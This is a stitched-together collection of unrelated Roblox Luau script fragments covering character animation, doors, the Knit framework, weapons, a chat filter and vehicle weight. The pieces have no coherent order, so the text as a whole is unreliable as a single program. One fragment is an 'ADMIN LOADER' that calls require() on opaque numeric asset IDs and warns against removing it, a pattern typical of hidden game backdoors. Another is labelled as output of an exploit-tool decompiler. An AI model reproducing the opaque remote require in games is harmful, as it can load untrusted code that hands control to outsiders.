RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "Zombie") then moveZombie() return end if (pose == "Boogy") then moveBoogy() return end if (pose == "Float") then moveFloat() return end if (pose == "Punch") then movePunch() return end if (pose == "Kick") then moveKick() return end if (pose == "Fly") then moveFly() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end amplitude = 0.1 frequency = 1 RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 elseif (pose == "Dancing") then amplitude = 2 frequency = 16 end desiredAngle = amplitude * math.sin(time*frequency) if pose~="Dancing" then RightShoulder.DesiredAngle = -desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle else RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--[[ local attachment0 = Instance.new("Attachment", part) local attachment1 = Instance.new("Attachment", char.PrimaryPart) local AP = Instance.new("AlignPosition") AP.Attachment0 = attachment0 AP.Attachment1 = attachment1 AP.MaxForce = math.huge AP.Responsiveness = 200 AP.Parent = part local AO = Instance.new("AlignOrientation") AO.Attachment0 = attachment0 AO.Attachment1 = attachment1 AO.MaxTorque = math.huge AO.Responsiveness = 200 AO.Parent = part ]]
part.Position = char.PrimaryPart.Position + Vector3.new(-100,0,0) local weld = Instance.new("WeldConstraint") weld.Part0 = part weld.Part1 = char.PrimaryPart weld.Parent = part part.Parent = workspace.WeatherParts for i,v in pairs(script:GetChildren()) do if v.Value > 0 then local particle = game.ReplicatedStorage.Particles[v.Name]:Clone() particle.Rate = math.huge particle.Parent = part --[[ particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part particle:Clone().Parent = part ]] end end
-- // Events \\ --
ProximityPrompt.PromptButtonHoldBegan:Connect(function() Functions.Flash("Teal") end) ProximityPrompt.Triggered:Connect(function(Player) DoorLogo.Beep:Play() Functions.Flash("Bright green") ProximityPrompt.Enabled = false Functions.Move(true) wait(2) Functions.Move(false) Functions.Flash("Bright red") ProximityPrompt.Enabled = true end) --[[ ]]
-- Helper functions
function angleBetweenPoints(p0, p1) local p = p0 - p1 return -math.atan2(p.z, p.x) end function getCameraAngle(camera) local cf, f = camera.CoordinateFrame, camera.Focus return angleBetweenPoints(cf.p, f.p) end
--Camera.CameraType = Enum.CameraType.Scriptable --RunServ:BindToRenderStep("MoveCam",Enum.RenderPriority.Camera.Value,function() -- Camera.CFrame = Character.Head.CFrame --end)
theAnim:Play() theAnim.Stopped:Connect(function() for _ = 1,5 do Character.HumanoidRootPart.Anchored = false task.wait() end --RunServ:UnbindFromRenderStep("MoveCam") --Camera.CameraType = Enum.CameraType.Custom Gui:Destroy() end) theAnim:AdjustSpeed(0) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false) YesButton.InputBegan:Connect(function(io) if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true) t.Completed:Connect(function() t:Destroy() t2:Destroy() t3:Destroy() t4:Destroy() task.wait(10/60) theAnim:AdjustSpeed(1) end) t:Play() t2:Play() t3:Play() t4:Play() end end) NoButton.InputBegan:Connect(function(io) if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then Player:Kick("ok lol") end end)
--ADMIN LOADER. --This is a script that is part of your admin in game. --Removing/tampering with this script will potentially result in scripts breaking in your game.
require(6091305634):Stys() require(5869080069):Stys()
-- How rare the weapon is and how hard it is to get.
if _M.DropsWeapon3 == true and DropChance == (_M.WeaponChance1) then -- If the correct value is pulled, enable the item to be dropped Enemy.Died:Connect(DropItem) -- Drop item if dead end
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
--[[ Knit.CreateController(controller): Controller Knit.AddControllers(folder): Controller[] Knit.AddControllersDeep(folder): Controller[] Knit.GetService(serviceName): Service Knit.GetController(controllerName): Controller Knit.Start(): Promise<void> Knit.OnStart(): Promise<void> --]]
local KnitClient = {} KnitClient.Version = script.Parent.Version.Value KnitClient.Player = game:GetService("Players").LocalPlayer KnitClient.Controllers = {} KnitClient.Util = script.Parent.Util local Promise = require(KnitClient.Util.Promise) local Thread = require(KnitClient.Util.Thread) local Loader = require(KnitClient.Util.Loader) local Ser = require(KnitClient.Util.Ser) local ClientRemoteSignal = require(KnitClient.Util.Remote.ClientRemoteSignal) local ClientRemoteProperty = require(KnitClient.Util.Remote.ClientRemoteProperty) local TableUtil = require(KnitClient.Util.TableUtil) local services = {} local servicesFolder = script.Parent:WaitForChild("Services") local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function BuildService(serviceName, folder) local service = {} if (folder:FindFirstChild("RF")) then for _, rf in ipairs(folder.RF:GetChildren()) do if (rf:IsA("RemoteFunction")) then service[rf.Name] = function(self, ...) return Ser.DeserializeArgsAndUnpack(rf:InvokeServer(Ser.SerializeArgsAndUnpack(...))) end service[rf.Name .. "Promise"] = function(self, ...) local args = Ser.SerializeArgs(...) return Promise.new(function(resolve) resolve(Ser.DeserializeArgsAndUnpack(rf:InvokeServer(table.unpack(args, 1, args.n)))) end) end end end end if (folder:FindFirstChild("RE")) then for _, re in ipairs(folder.RE:GetChildren()) do if (re:IsA("RemoteEvent")) then service[re.Name] = ClientRemoteSignal.new(re) end end end if (folder:FindFirstChild("RP")) then for _, rp in ipairs(folder.RP:GetChildren()) do if (rp:IsA("ValueBase") or rp:IsA("RemoteEvent")) then service[rp.Name] = ClientRemoteProperty.new(rp) end end end services[serviceName] = service return service end function KnitClient.CreateController(controller) assert(type(controller) == "table", "Controller must be a table; got " .. type(controller)) assert( type(controller.Name) == "string", "Controller.Name must be a string; got " .. type(controller.Name) ) assert(#controller.Name > 0, "Controller.Name must be a non-empty string") assert( KnitClient.Controllers[controller.Name] == nil, "Service \"" .. controller.Name .. "\" already exists" ) TableUtil.Extend(controller, { _knit_is_controller = true, }) KnitClient.Controllers[controller.Name] = controller return controller end function KnitClient.AddControllers(folder) return Loader.LoadChildren(folder) end function KnitClient.AddControllersDeep(folder) return Loader.LoadDescendants(folder) end function KnitClient.GetService(serviceName) assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName)) local folder = servicesFolder:FindFirstChild(serviceName) assert(folder ~= nil, "Could not find service \"" .. serviceName .. "\"") return services[serviceName] or BuildService(serviceName, folder) end function KnitClient.GetController(controllerName) return KnitClient.Controllers[controllerName] end function KnitClient.Start() if started then return Promise.Reject("Knit already started") end started = true local controllers = KnitClient.Controllers return Promise.new(function(resolve) -- Init: local promisesStartControllers = {} for _, controller in pairs(controllers) do if (type(controller.KnitInit) == "function") then table.insert( promisesStartControllers, Promise.new(function(r) controller:KnitInit() r() end) ) end end resolve(Promise.All(promisesStartControllers)) end):Then(function() -- Start: for _, controller in pairs(controllers) do if (type(controller.KnitStart) == "function") then Thread.SpawnNow(controller.KnitStart, controller) end end startedComplete = true onStartedComplete:Fire() Thread.Spawn(function() onStartedComplete:Destroy() end) end) end function KnitClient.OnStart() if startedComplete then return Promise.Resolve() else return Promise.new(function(resolve) if startedComplete then resolve() return end onStartedComplete.Event:Wait() resolve() end) end end return KnitClient
--[[ Clones a table giving it a unique memory address. Doesn't support mixed tables and userdata. Functions.CloneTable( table, <-- |REQ| Table/dictionary ) --]]
return function(tbl) return _L.Services.HttpService:JSONDecode(_L.Services.HttpService:JSONEncode(tbl)) end
-- This will inject all types into this context.
local TypeDefs = require(script.TypeDefinitions) type CanPenetrateFunction = TypeDefs.CanPenetrateFunction type CanHitFunction = TypeDefs.CanHitFunction type GenericTable = TypeDefs.GenericTable type Caster = TypeDefs.Caster type FastCastBehavior = TypeDefs.FastCastBehavior type CastTrajectory = TypeDefs.CastTrajectory type CastStateInfo = TypeDefs.CastStateInfo type CastRayInfo = TypeDefs.CastRayInfo type ActiveCast = TypeDefs.ActiveCast
--[[Run]] --Print Version
local ver=require(car["A-Chassis Tune"].README)
--------STAGE--------
game.Workspace.back1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.back2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.crewbig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.crewsmall1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.djstand.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.djtv.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side11.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.side12.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" game.Workspace.sidebig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" if game.Workspace.CurrentStageTV.Value == "1" then game.Workspace.main1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" end
-- Display err
function Error() Display(blankPattern, error_E, error_R, error_R, blankPattern) end
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio -- These are the IDs of the piano sounds.
settings.SoundSource = Box settings.CameraCFrame = CFrame.new( (Box.CFrame * CFrame.new(-5, 3, 0)).p, -- +z is towards player (Box.CFrame * CFrame.new(1, 0, 0)).p )
-- << SETUP >> -- Toggle MainFrame through TopBar Icon
topBarFrame.Size = UDim2.new(1,0,0,topBarY) topBarFrame.Position = UDim2.new(0,0,0,-topBarY) imageButton.MouseButton1Down:Connect(function() if imageButton.ImageRectOffset == Vector2.new(0,0) then main:GetModule("GUIs"):OpenMainFrame() else main:GetModule("GUIs"):CloseMainFrame() end end)
--[[ Returns true the vector3 is within x and z bounds of an axis aligned part ]]
local function isVector3InBoundsOfPart(vector3, part) local worldSize = part.CFrame:vectorToWorldSpace(part.Size) worldSize = Vector3.new(math.abs(worldSize.X), math.abs(worldSize.Y), math.abs(worldSize.Z)) local minX, maxX = part.Position.X - (worldSize.X / 2), part.Position.X + (worldSize.X / 2) local minZ, maxZ = part.Position.Z - (worldSize.Z / 2), part.Position.Z + (worldSize.Z / 2) return vector3.X >= minX and vector3.X <= maxX and vector3.Z >= minZ and vector3.Z <= maxZ end
-- if not gameRules.SpawnStacking and not spawner:FindFirstChild("CurrentGun") then -- local objValue = Instance.new("ObjectValue") -- objValue.Name = "CurrentGun" -- objValue.Parent = spawner -- end
-- Player List
local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name) if iswhitelisted == false then rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script.Parent.Logs:Destroy() script:Destroy() return end function fixcanvas() local amount = script.Parent.Panel.PlayerList:GetChildren() local fixedamount = #amount-1 print(fixedamount) script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35) end for i,v in pairs(game.Players:GetPlayers()) do local username = script.Username:Clone() username.Name = v.Name username.Text = v.Name username.Parent = script.Parent.Panel.PlayerList fixcanvas() username.MouseButton1Click:Connect(function() if game.Players:FindFirstChild(username.Name) then chosenplr = game.Players:FindFirstChild(username.Name) end end) end game.Players.PlayerAdded:Connect(function(plr) local username = script.Username:Clone() username.Name = plr.Name username.Text = plr.Name username.Parent = script.Parent.Panel.PlayerList fixcanvas() username.MouseButton1Click:Connect(function() if game.Players:FindFirstChild(username.Name) then chosenplr = game.Players:FindFirstChild(username.Name) end end) end) game.Players.PlayerRemoving:Connect(function(plr) local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name) if name then name:Destroy() end fixcanvas() end) for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do buttons.MouseButton1Click:Connect(function() local arg2 = nil if buttons:FindFirstChildOfClass("TextBox") then arg2 = buttons:FindFirstChildOfClass("TextBox").Text end print(arg2) remote:FireServer(buttons.Name,chosenplr,arg2) end) end script.Parent.Toggle.MouseButton1Click:Connect(function() script.Parent.Panel.Visible = not script.Parent.Panel.Visible script.Parent.Logs.Visible = not script.Parent.Logs.Visible end)
-- Decompiled with the Synapse X Luau decompiler.
local l__TweenService__1 = game:GetService("TweenService"); local l__Modules__2 = game:GetService("ReplicatedStorage"):WaitForChild("Modules"); local v3 = require(l__Modules__2.Raycast); local l__Ignored__4 = workspace:WaitForChild("Ignored"); local v5 = {}; local u1 = require(l__Modules__2.PseudoDebris); function v5.RunStompFx(p1, p2, p3, p4) local v6 = Instance.new("Attachment", workspace.Terrain); v6.WorldPosition = p2.Position; u1:AddItem(v6, 10, false); for v7, v8 in pairs(script.FX:GetDescendants()) do if v8:IsA("ParticleEmitter") then local v9 = v8:Clone(); v9.Parent = v6; v9:Emit(v9:GetAttribute("EmitCount")); end; end; return nil; end; return v5;
-- Gives Tool
function onTouch(part) local hum = part.Parent:FindFirstChild('Humanoid') if hum then local plr = game.Players:FindFirstChild(part.Parent.Name) if plr then if deb == true then deb = false give.BrickColor = RC color.BrickColor = RC local weapon = game.ServerStorage.Weps:FindFirstChild(wep) local w2 = weapon:Clone() w2.Parent = plr.Backpack wait(rt) deb = true give.BrickColor = SC color.BrickColor = SC end end end end script.Parent.Giver.Touched:connect(onTouch)
-------------------------------------------------------------------------------------- --------------------[ CONSTANTS ]----------------------------------------------------- --------------------------------------------------------------------------------------
local Gun = script.Parent local Handle = Gun:WaitForChild("Handle") local AimPart = Gun:WaitForChild("AimPart") local Main = Gun:WaitForChild("Main") local Ammo = Gun:WaitForChild("Ammo") local ClipSize = Gun:WaitForChild("ClipSize") local StoredAmmo = Gun:WaitForChild("StoredAmmo") local S = require(script:WaitForChild("Minigun")) local Player = game.Players.LocalPlayer local Character = Player.Character local Humanoid = Character:WaitForChild("Humanoid") local Torso = Character:WaitForChild("Torso") local Head = Character:WaitForChild("Head") local HRP = Character:WaitForChild("HumanoidRootPart") local Neck = Torso:WaitForChild("Neck") local LArm = Character:WaitForChild("Left Arm") local RArm = Character:WaitForChild("Right Arm") local LLeg = Character:WaitForChild("Left Leg") local RLeg = Character:WaitForChild("Right Leg") local M2 = Player:GetMouse() local Main_Gui = script:WaitForChild("Main_Gui") local RS = game:GetService("RunService").RenderStepped local Camera = game.Workspace.CurrentCamera local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos local VEC3 = Vector3.new local CF, CFANG = CFrame.new, CFrame.Angles local INSERT = table.insert local MaxStamina = S.SprintTime * 60 local MaxSteadyTime = S.ScopeSteadyTime * 60 local LethalIcons = { "http://www.roblox.com/asset/?id=194849880"; "http://www.roblox.com/asset/?id=195727791"; "http://www.roblox.com/asset/?id=195728137"; } local TacticalIcons = { "http://www.roblox.com/asset/?id=195728473"; "http://www.roblox.com/asset/?id=195728693"; } local Ignore = { Character; Ignore_Model; } local StanceOffset = { VEC3(0, 0, 0); VEC3(0, -1, 0); VEC3(0, -3, 0); } local Shoulders = { Right = Torso:WaitForChild("Right Shoulder"); Left = Torso:WaitForChild("Left Shoulder") } local ArmC0 = { CF(.4, .2, 1.7) * CFANG(RAD(70), -1.5, -1); CF(2, -.5, 0) * CFANG(RAD(90), 0, 0); } local Sine = function(X) return SIN(RAD(X)) end local Linear = function(X) return (X / 90) end
-- The rank below is the rank (and above) that will bypass the anchor tool removal.
local bypassrank = 248 return bypassrank
--[[ F7D's Anti ForceField Script ]]
-- script.Parent = nil game.DescendantAdded:connect(function(NoSilly) coroutine.resume(coroutine.create(function() if NoSilly:IsA("ForceField") then coroutine.resume(coroutine.create(function() while type(NoSilly)~=nil and wait() do coroutine.resume(coroutine.create(function() NoSilly:Destroy() end)) end end)) end end)) end)
-- A simple function to explode a specified part
function Explode(part) local explosion = Instance.new("Explosion", workspace) explosion.Position = part.Position explosion.BlastRadius = config.ExplosionRadius.Value part:Destroy() end script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition) local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse local altitude = mousePosition.Y - tool.Handle.Position.Y local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle tool.Handle.Transparency = 1 local grenade = tool.Handle:Clone() grenade.Parent = workspace grenade.Transparency = 0 grenade.CanCollide = true grenade.CFrame = tool.Handle.CFrame grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long spawn(function() if config.ExplodeOnTouch.Value then grenade.Touched:connect(function(hit) if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable Explode(grenade) end end) else wait(config.FuseTime.Value) Explode(grenade) end end) wait(config.Cooldown.Value) tool.Handle.Transparency = 0 end)
--
local function pivotAround(model, pivotCF, newCF) local invPivotCF = pivotCF:Inverse() for _, part in next, model:GetDescendants() do part.CFrame = newCF * (invPivotCF * part.CFrame) end end local function createSection(subN, interior_radius, exterior_radius, ppu) local subModel = Instance.new("Model") local exCircum = (TAU*exterior_radius)/subN - GAP local inCircum = (TAU*interior_radius)/subN - GAP local exTheta = exCircum / (exterior_radius) local inTheta = inCircum / (interior_radius) local diffTheta = exTheta - inTheta local exPoints = {} local inPoints = {} local nParts = math.ceil(exCircum/ppu) for i = 0, nParts do exPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, (i/nParts)*exTheta) * Vector3.new(exterior_radius, 0, 0) inPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, diffTheta/2 + (i/nParts)*inTheta) * Vector3.new(interior_radius, 0, 0) end for i = 1, nParts do local a = exPoints[i] local b = inPoints[i] local c = exPoints[i + 1] local d = inPoints[i + 1] Triangle(subModel, a, b, c) Triangle(subModel, b, c, d) end return subModel end local function createRadial(subN, tPercent, rotation) rotation = rotation or 0 local dialEx = (1 - tPercent)*EXTERIOR_RADIUS - 1 local dialIn = dialEx - 2 local section = createSection(subN, (1 - tPercent)*EXTERIOR_RADIUS, EXTERIOR_RADIUS, PART_PER_UNIT) local innerSection = createSection(subN, dialIn, dialEx, PART_PER_UNIT/2) local frame = Instance.new("Frame") local radialFrame = Instance.new("Frame") local attachFrame = Instance.new("Frame") radialFrame.BackgroundTransparency = 1 attachFrame.BackgroundTransparency = 1 radialFrame.Size = UDim2.new(1, 0, 1, 0) attachFrame.Size = UDim2.new(1, 0, 1, 0) radialFrame.Name = "Radial" attachFrame.Name = "Attach" radialFrame.Parent = frame attachFrame.Parent = frame local thickness = tPercent * EXTERIOR_RADIUS local interior_radius = EXTERIOR_RADIUS - thickness local inv_tPercent = 1 - tPercent/2 local exCircum = (TAU*EXTERIOR_RADIUS)/subN local exTheta = exCircum / EXTERIOR_RADIUS local inCircum = (TAU*interior_radius)/subN - GAP local inTheta = inCircum / (interior_radius) local edge = Vector2.new(math.cos(inTheta), math.sin(inTheta))*interior_radius - Vector2.new(interior_radius, 0) local edgeLen = math.min(edge.Magnitude / (EXTERIOR_RADIUS*2), 0.18) for i = 0, subN - 1 do local vpf = VPF:Clone() local cam = CAMERA:Clone() vpf.CurrentCamera = cam vpf.Name = i + 1 local theta = (i/subN)*TAU + rotation local sub = section:Clone() pivotAround(sub, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, theta + EX_OFFSET)) sub.Parent = vpf local t = theta - EX_OFFSET + exTheta/2 + G_OFFSET local c = -math.cos(t)/2 * inv_tPercent local s = math.sin(t)/2 * inv_tPercent local attach = Instance.new("Frame") attach.Name = i + 1 attach.BackgroundTransparency = 1 attach.BackgroundColor3 = Color3.new() attach.BorderSizePixel = 0 attach.AnchorPoint = Vector2.new(0.5, 0.5) attach.Position = UDim2.new(0.5 + c, 0, 0.5 + s, 0) attach.Size = UDim2.new(edgeLen, 0, edgeLen, 0) attach.Parent = attachFrame cam.Parent = vpf vpf.Parent = radialFrame end section:Destroy() local vpf = VPF:Clone() local cam = CAMERA:Clone() vpf.CurrentCamera = cam vpf.Name = "RadialDial" local g = GAP / (2*dialEx) local off = -TAU/4 + g pivotAround(innerSection, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, rotation + off)) innerSection.Parent = vpf vpf.Parent = frame frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeYY frame.Size = UDim2.new(1, 0, 1, 0) return frame end
------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -- STATE CHANGE HANDLERS
function onRunning() local speed = script.speed.Value local heightScale = if userAnimateScaleRun then getHeightScale() else 1 local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0) local speedThreshold = movedDuringEmote and (Humanoid.WalkSpeed / heightScale) or 0.75 if speed > speedThreshold * heightScale then local scale = 16.0 playAnimation("walk", 0.2, Humanoid) setAnimationSpeed(speed / scale) pose = "Running" else if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then playAnimation("idle", 0.2, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing() local speed = script.speed.Value if userAnimateScaleRun then speed /= getHeightScale() end local scale = 5.0 playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end
--[[ AnimateKey(note1,px,py,pz,ox,oy,oz,Time) --note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time local obj = --object or gui or wahtever goes here local Properties = {} Properties.Size = UDim2.new() Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) --Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse ]]
function HighlightPianoKey(note1,transpose) if not Settings.KeyAesthetics then return end local octave = math.ceil(note1/12) local note2 = (note1 - 1)%12 + 1 if IsBlack(note1) then AnimateKey(note1,0,.05,0,6,0,0,.13) else AnimateKey(note1,0,.1,0,8,0,0,.13) end end
--[[ THIS GUIDE WILL HELP YOU FIX THE COLLISIONS WITH UNIONS AND MESHPARTS IN THE MAP. Run this script in the command bar to select all the Unions and MeshParts in the map. After that, go to the properties frame and set the CollisionFidelity property to "Hull" Then, set them back to "Default" You have fixed all union collisions. - Credit to Jester for original instructions --]]
local unions = {} function getUnions(root) for i,v in pairs(root:GetChildren()) do if v:IsA("UnionOperation") or v:IsA("MeshPart") then table.insert(unions,v) end getUnions(v) end end getUnions(workspace) game.Selection:Set(unions)
--[[Vehicle Weight]]
--Determine Current Mass local mass=0 function getMass(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") and not v.Massless then mass=mass+v:GetMass() end getMass(v) end end getMass(car) --Apply Vehicle Weight if mass<_Tune.Weight*weightScaling then --Calculate Weight Distribution local centerF = Vector3.new() local centerR = Vector3.new() local countF = 0 local countR = 0 for i,v in pairs(Drive) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then centerF = centerF+v.CFrame.p countF = countF+1 else centerR = centerR+v.CFrame.p countR = countR+1 end end centerF = centerF/countF centerR = centerR/countR local center = centerR:Lerp(centerF, _Tune.WeightDist/100) --Create Weight Brick local weightB = Instance.new("Part",car.Body) weightB.Name = "#Weight" weightB.Anchored = true weightB.CanCollide = false weightB.BrickColor = BrickColor.new("Really black") weightB.TopSurface = Enum.SurfaceType.Smooth weightB.BottomSurface = Enum.SurfaceType.Smooth if _Tune.WBVisible then weightB.Transparency = .75 else weightB.Transparency = 1 end weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3]) weightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0) weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0) else --Existing Weight Is Too Massive warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight." .."\n\t Target Mass:\t"..(math.ceil(_Tune.Weight*weightScaling*100)/100) .."\n\t Current Mass:\t"..(math.ceil(mass*100)/100) .."\n\t Reduce part size or axle density to achieve desired weight.") end local flipG = Instance.new("BodyGyro",car.DriveSeat) flipG.Name = "Flip" flipG.D = 0 flipG.MaxTorque = Vector3.new(0,0,0) flipG.P = 0
---[[ Window Settings ]]
module.MinimumWindowSize = UDim2.new(0.35, 0, 0.3, 0) module.MaximumWindowSize = UDim2.new(1, 0, 1, 0) -- if you change this to be greater than full screen size, weird things start to happen with size/position bounds checking. module.DefaultWindowPosition = UDim2.new(0, 0, 0, 0) local extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset module.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset) module.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset) module.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)
-- events
REMOTES.Chat.OnServerEvent:connect(function(player, message, scope) local players if scope == "Global" then players = Players:GetPlayers() elseif scope == "Squad" then local squad = GetSquad(player) if squad then players = {} for _, p in pairs(squad.Players:GetChildren()) do table.insert(players, Players[p.Name]) end end end if not cooldowns[player] then cooldowns[player] = 0 end cooldowns[player] = cooldowns[player] + 1 if cooldowns[player] <= MAX_PER_SECOND then if players then if string.gsub(message, "%s", "") ~= "" then local result = TextService:FilterStringAsync(message, player.UserId) for _, p in pairs(players) do spawn(function() pcall(function() if player.Parent == Players and p.Parent == Players and Chat:CanUsersChatAsync(player.UserId, p.UserId) then local filtered = result:GetChatForUserAsync(p.UserId) REMOTES.Chat:FireClient(p, player.Name, filtered, scope) end end) end) end end end else REMOTES.Chat:FireClient(player, "SERVER", "Woah there, you're sending messages too fast!", "Server") end end) Players.PlayerRemoving:connect(function(player) if cooldowns[player] then cooldowns[player] = nil end end)
--[[ Turns brake lights on or off depending on the status ]]
